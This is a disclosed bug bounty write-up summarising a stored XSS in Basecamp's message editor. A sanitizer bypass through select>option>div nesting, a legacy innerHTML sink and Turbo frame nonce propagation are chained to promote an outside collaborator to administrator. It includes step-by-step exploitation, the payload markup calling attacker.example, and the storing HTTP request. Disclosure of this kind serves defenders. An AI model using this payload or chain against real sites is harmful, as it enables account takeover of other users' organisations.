# Cross-account stored XSS on app.basecamp.com leads to persistent administrator takeover

Outside collaborator stored a crafted bc-attachment whose content attribute survived sanitization, yielding same-origin XSS in an admin's editor and persistent admin takeover.

- Payout: hidden
- Severity: high
- Program: Basecamp
- Found by: matty69v
- Disclosed: 2026-11-13
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/4175245
- Library page: https://bugbountylibrary.com/r/h1%3A4175245
- Tags: area:web domain:web impact:ato impact:privesc kind:bounty platform:hackerone sev:high tech:rest technique:chained technique:parser-differential vuln:xss

**Target:** app.basecamp.com message editor (Lexxy) and bc-attachment rendering
**Root cause:** Server trusts client-supplied bc-attachment.content when sgid resolves; Lexxy reparses it, HTML parser normalizes invalid select>option>div into a live div, and DOMPurify permits data-behavior/data-url, letting legacy load_drafts_link assign attacker HTML to innerHTML.
**Steps:**
1. As O, create a normal YouTube embed to obtain a valid server-generated sgid via `POST /6301766/embeds.json`.
2. Post a message whose bc-attachment has valid sgid but content attribute contains encoded `<select><option><div data-behavior="load_drafts_link" data-url="https://attacker.example/drafts">XSS</div></option></select>`.
3. Victim admin opens `https://app.basecamp.com/6301766/buckets/49452064/messages/10479052766/edit`.
4. Lexxy normalizes markup; load_drafts_link fetches `/drafts` and sets innerHTML, injecting `<turbo-frame id="h1proofframe" src="https://attacker.example/frame">`.
5. Turbo loads the CORS-enabled frame and applies the page CSP nonce to its inline script, executing JS on app.basecamp.com.
6. Script reads CSRF token and POSTs `person_id=53489491` to `/6301766/account/administratorships`, returning 302 to `/6301766/account/administrators`.
7. O's separate session now shows `admin: true, owner: false` and can manage administrators.
**How found:** Researcher noticed the server preserves client-supplied bc-attachment.content when sgid is valid, hypothesized Lexxy's reparse could expose attributes, tested invalid select>option>div nesting to bypass sanitizer intent, found data-behavior/data-url survived DOMPurify, and chained the legacy innerHTML sink with Turbo frame nonce propagation.
**Exploitation:** Attacker with only outside-collaborator posting rights stores a message that renders as a normal YouTube embed. When an admin opens the Edit form once, the legacy load_drafts_link behavior fetches attacker HTML into innerHTML; an injected cross-origin turbo-frame causes Turbo to propagate the victim page's CSP nonce to the attacker's inline script. That script reads the victim's CSRF token and calls the administratorship grant endpoint same-origin, persistently promoting the attacker account to admin without any victim password or cookie theft.
**Escalation:** Stored HTML injection chained with Turbo frame nonce propagation to gain same-origin JS execution, then CSRF-token reuse to call the admin-grant endpoint, yielding persistent account-level administrator privileges.
**Insight:** When an editor re-parses stored HTML, invalid nesting like select>option>div can be normalized into live elements that expose data-* attributes the sanitizer only partially blocks; check whether legacy data-behavior/data-url sinks still exist and whether Turbo frames inherit the page CSP nonce.

## Proof of concept (copied exactly from the original report)

**Stored bc-attachment payload with hidden load_drafts_link**

```
<div>H1XACCT cross-account proof</div>
<bc-attachment
  sgid="YOUTUBE_EMBED_SGID"
  content-type="embed/youtube-video"
  content="&lt;select&gt;&lt;option&gt;&lt;div data-behavior=&quot;load_drafts_link&quot; data-url=&quot;https://attacker.example/drafts&quot;&gt;XSS&lt;/div&gt;&lt;/option&gt;&lt;/select&gt;">
</bc-attachment>
<div>H1XACCT after embed</div>
```

**POST message storing the malicious content**

```
POST /6301766/buckets/49452064/message_boards/10465121751/messages.json HTTP/1.1
Host: app.basecamp.com
Content-Type: application/json
X-CSRF-Token: <O's token>

{
  "subject": "H1XACCT independent account XSS proof",
  "content": "<div>...</div><bc-attachment ...></bc-attachment><div>...</div>",
  "status": "active"
}
```

